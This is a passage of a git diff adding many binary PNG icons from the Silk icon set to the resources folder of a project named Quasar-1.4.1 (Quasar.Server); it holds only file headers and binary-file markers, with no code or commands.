b/Quasar-1.4.1/Quasar.Server/Resources/Silk/key_delete.png new file mode 100755 index 0000000..00dec80 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/key_delete.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/key_go.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/key_go.png new file mode 100755 index 0000000..30b0dc3 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/key_go.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/keyboard.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/keyboard.png new file mode 100755 index 0000000..898d402 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/keyboard.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/keyboard_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/keyboard_add.png new file mode 100755 index 0000000..26938dd Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/keyboard_add.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/keyboard_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/keyboard_delete.png new file mode 100755 index 0000000..1786ed5 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/keyboard_delete.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/keyboard_magnify.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/keyboard_magnify.png new file mode 100755 index 0000000..928fc17 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/keyboard_magnify.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/layers.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/layers.png new file mode 100755 index 0000000..00818f6 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/layers.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/layout.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/layout.png new file mode 100755 index 0000000..dd21a0d Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/layout.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/layout_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/layout_add.png new file mode 100755 index 0000000..3864766 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/layout_add.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/layout_content.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/layout_content.png new file mode 100755 index 0000000..b4aaad9 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/layout_content.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/layout_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/layout_delete.png new file mode 100755 index 0000000..7592108 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/layout_delete.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/layout_edit.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/layout_edit.png new file mode 100755 index 0000000..ab3100b Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/layout_edit.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/layout_error.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/layout_error.png new file mode 100755 index 0000000..5b5acea Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/layout_error.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/layout_header.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/layout_header.png new file mode 100755 index 0000000..c6ea7f2 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/layout_header.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/layout_link.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/layout_link.png new file mode 100755 index 0000000..3445d42 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/layout_link.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/layout_sidebar.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/layout_sidebar.png new file mode 100755 index 0000000..e03d71e Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/layout_sidebar.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/lightbulb.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/lightbulb.png new file mode 100755 index 0000000..d22fde8 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/lightbulb.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/lightbulb_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/lightbulb_add.png new file mode 100755 index 0000000..0dd848b Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/lightbulb_add.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/lightbulb_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/lightbulb_delete.png new file mode 100755 index 0000000..f4781da Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/lightbulb_delete.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/lightbulb_off.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/lightbulb_off.png new file mode 100755 index 0000000..e95b8c5 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/lightbulb_off.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/lightning.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/lightning.png new file mode 100755 index 0000000..9680afd Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/lightning.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/lightning_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/lightning_add.png new file mode 100755 index 0000000..dac3c90 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/lightning_add.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/lightning_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/lightning_delete.png new file mode 100755 index 0000000..dfe2770 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/lightning_delete.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/lightning_go.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/lightning_go.png new file mode 100755 index 0000000..29039e6 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/lightning_go.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/link.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/link.png new file mode 100755 index 0000000..25eacb7 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/link.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/link_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/link_add.png new file mode 100755 index 0000000..00be352 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/link_add.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/link_break.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/link_break.png new file mode 100755 index 0000000..06b90c9 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/link_break.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/link_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/link_delete.png new file mode 100755 index 0000000..ffffb46 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/link_delete.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/link_edit.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/link_edit.png new file mode 100755 index 0000000..5b3aed0 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/link_edit.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/link_error.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/link_error.png new file mode 100755 index 0000000..ab694b1 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/link_error.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/link_go.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/link_go.png new file mode 100755 index 0000000..92868d6 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/link_go.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/lock.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/lock.png new file mode 100755 index 0000000..2ebc4f6 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/lock.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/lock_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/lock_add.png new file mode 100755 index 0000000..a7b566b Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/lock_add.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/lock_break.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/lock_break.png new file mode 100755 index 0000000..13578ab Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/lock_break.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/lock_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/lock_delete.png new file mode 100755 index 0000000..ecb50a9 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/lock_delete.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/lock_edit.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/lock_edit.png new file mode 100755 index 0000000..116aa5b Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/lock_edit.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/lock_go.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/lock_go.png new file mode 100755 index 0000000..8c7c89b Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/lock_go.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/lock_open.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/lock_open.png new file mode 100755 index 0000000..a471765 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/lock_open.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/lorry.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/lorry.png new file mode 100755 index 0000000..8f95f5a Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/lorry.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/lorry_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/lorry_add.png new file mode 100755 index 0000000..a2c5124 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/lorry_add.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/lorry_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/lorry_delete.png new file mode 100755 index 0000000..66217f5 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/lorry_delete.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/lorry_error.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/lorry_error.png new file mode 100755 index 0000000..3619ead Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/lorry_error.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/lorry_flatbed.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/lorry_flatbed.png new file mode 100755 index 0000000..e9853fd Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/lorry_flatbed.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/lorry_go.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/lorry_go.png new file mode 100755 index 0000000..1c296a6 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/lorry_go.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/lorry_link.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/lorry_link.png new file mode 100755 index 0000000..5e6663e Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/lorry_link.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/magifier_zoom_out.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/magifier_zoom_out.png new file mode 100755 index 0000000..ca9db06 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/magifier_zoom_out.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/magnifier.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/magnifier.png new file mode 100755 index 0000000..cf3d97f Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/magnifier.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/magnifier_zoom_in.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/magnifier_zoom_in.png new file mode 100755 index 0000000..66faee5 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/magnifier_zoom_in.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/male.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/male.png new file mode 100755 index 0000000..25d6ea9 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/male.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/map.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/map.png new file mode 100755 index 0000000..f90ef25 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/map.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/map_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/map_add.png new file mode 100755 index 0000000..2b72da0 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/map_add.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/map_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/map_delete.png new file mode 100755 index 0000000..e74402f Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/map_delete.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/map_edit.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/map_edit.png new file mode 100755 index 0000000..93d4d7e Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/map_edit.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/map_go.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/map_go.png new file mode 100755 index 0000000..11eab26 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/map_go.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/map_magnify.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/map_magnify.png new file mode 100755 index 0000000..7184c9d Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/map_magnify.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/medal_bronze_1.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/medal_bronze_1.png new file mode 100755 index 0000000..5f8a6d6 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/medal_bronze_1.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/medal_bronze_2.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/medal_bronze_2.png new file mode 100755 index 0000000..623d68c Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/medal_bronze_2.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/medal_bronze_3.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/medal_bronze_3.png new file mode 100755 index 0000000..ed3f43e Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/medal_bronze_3.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/medal_bronze_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/medal_bronze_add.png new file mode 100755 index 0000000..8487b2c Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/medal_bronze_add.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/medal_bronze_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/medal_bronze_delete.png new file mode 100755 index 0000000..d32aed7 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/medal_bronze_delete.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/medal_gold_1.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/medal_gold_1.png new file mode 100755 index 0000000..87584dc Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/medal_gold_1.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/medal_gold_2.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/medal_gold_2.png new file mode 100755 index 0000000..fa3a15d Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/medal_gold_2.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/medal_gold_3.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/medal_gold_3.png new file mode 100755 index 0000000..ef1b08b Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/medal_gold_3.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/medal_gold_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/medal_gold_add.png new file mode 100755 index 0000000..dcade0d Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/medal_gold_add.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/medal_gold_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/medal_gold_delete.png new file mode 100755 index 0000000..84b06d5 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/medal_gold_delete.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/medal_silver_1.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/medal_silver_1.png new file mode 100755 index 0000000..75a64da Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/medal_silver_1.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/medal_silver_2.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/medal_silver_2.png new file mode 100755 index 0000000..2e0fe75 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/medal_silver_2.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/medal_silver_3.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/medal_silver_3.png new file mode 100755 index 0000000..e385b54 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/medal_silver_3.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/medal_silver_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/medal_silver_add.png new file mode 100755 index 0000000..b0633fa Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/medal_silver_add.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/medal_silver_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/medal_silver_delete.png new file mode 100755 index 0000000..06cab46 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/medal_silver_delete.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/money.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/money.png new file mode 100755 index 0000000..42c52d0 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/money.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/money_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/money_add.png new file mode 100755 index 0000000..588fa9d Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/money_add.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/money_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/money_delete.png new file mode 100755 index 0000000..eae2c52 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/money_delete.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/money_dollar.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/money_dollar.png new file mode 100755 index 0000000..59af163 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/money_dollar.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/money_euro.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/money_euro.png new file mode 100755 index 0000000..b322ba9 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/money_euro.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/money_pound.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/money_pound.png new file mode 100755 index 0000000..b711364 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/money_pound.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/money_yen.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/money_yen.png new file mode 100755 index 0000000..fbe45e0 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/money_yen.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/monitor.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/monitor.png new file mode 100755 index 0000000..d040bd0 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/monitor.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/monitor_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/monitor_add.png new file mode 100755 index 0000000..a818066 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/monitor_add.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/monitor_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/monitor_delete.png new file mode 100755 index 0000000..3733256 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/monitor_delete.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/monitor_edit.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/monitor_edit.png new file mode 100755 index 0000000..f772c56 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/monitor_edit.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/monitor_error.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/monitor_error.png new file mode 100755 index 0000000..270c501 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/monitor_error.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/monitor_go.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/monitor_go.png new file mode 100755 index 0000000..8af3eda Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/monitor_go.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/monitor_lightning.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/monitor_lightning.png new file mode 100755 index 0000000..06e53a9 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/monitor_lightning.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/monitor_link.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/monitor_link.png new file mode 100755 index 0000000..a014b02 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/monitor_link.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/mouse.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/mouse.png new file mode 100755 index 0000000..63a92fa Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/mouse.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/mouse_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/mouse_add.png new file mode 100755 index 0000000..65bcab5 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/mouse_add.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/mouse_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/mouse_delete.png new file mode 100755 index 0000000..7286566 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/mouse_delete.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/mouse_error.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/mouse_error.png new file mode 100755 index 0000000..bcc1562 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/mouse_error.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/music.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/music.png new file mode 100755 index 0000000..1309253 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/music.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/new.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/new.png new file mode 100755 index 0000000..6a9bf03 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/new.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/newspaper.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/newspaper.png new file mode 100755 index 0000000..6a2ecce Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/newspaper.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/newspaper_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/newspaper_add.png new file mode 100755 index 0000000..8140e8c Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/newspaper_add.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/newspaper_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/newspaper_delete.png new file mode 100755 index 0000000..bde96ce Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/newspaper_delete.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/newspaper_go.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/newspaper_go.png new file mode 100755 index 0000000..fd61428 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/newspaper_go.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/newspaper_link.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/newspaper_link.png new file mode 100755 index 0000000..99e57cb Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/newspaper_link.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/note.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/note.png new file mode 100755 index 0000000..244e6ca Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/note.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/note_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/note_add.png new file mode 100755 index 0000000..abdad91 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/note_add.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/note_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/note_delete.png new file mode 100755 index 0000000..8a1f0ff Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/note_delete.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/note_edit.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/note_edit.png new file mode 100755 index 0000000..291bfc7 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/note_edit.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/note_error.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/note_error.png new file mode 100755 index 0000000..896dadf Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/note_error.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/note_go.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/note_go.png new file mode 100755 index 0000000..49e54fd Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/note_go.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/overlays.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/overlays.png new file mode 100755 index 0000000..ab3100b Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/overlays.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/package.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/package.png new file mode 100755 index 0000000..da3c2a2 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/package.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/package_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/package_add.png new file mode 100755 index 0000000..9c8a9da Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/package_add.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/package_delete.png 